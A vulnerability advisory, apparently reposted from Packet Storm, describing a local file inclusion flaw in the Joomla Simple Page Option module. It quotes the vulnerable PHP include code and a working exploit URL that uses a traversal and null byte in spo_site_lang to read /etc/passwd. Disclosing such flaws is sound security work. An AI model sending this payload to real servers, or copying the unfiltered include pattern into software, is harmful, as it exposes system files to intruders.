Lucene search
K

Joomla Simple Page Option Local File Inclusion

🗓️ 21 Jul 2011 00:00:00Reported by Camilo GaldosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Joomla Simple Page Option Local File Inclusion vulnerability via spo_site_lang parameter in email_sender.ph

Code
`Simple Page Option – LFI  
  
Vulnerable-Code:  
  
$s_lang =& JRequest::getVar('spo_site_lang'); (file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')) ? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php') : include(dirname(__FILE__).DS.'languages'.DS.'english.php');  
  
  
Vulnerable-Var:  
  
spo_site_lang=  
  
  
Expl0iting:  
  
http://www.xxx.com/home/modules/mod_spo/email_sender.php? [email protected]&spo_f_email[0][email protected]&spo_messa ge=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using %20Simple%20Page%20Options%20Module%20from %20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../e tc/passwd% 00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se  
  
  
Reparing?:  
  
Just Filter with str_replace(); or htaccess protection to the vulnerable file.  
  
  
gr33tz:  
  
Alfredo Arauz, SeguridadBlanca.Blogspot.com, Ecuador and Perú Security.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation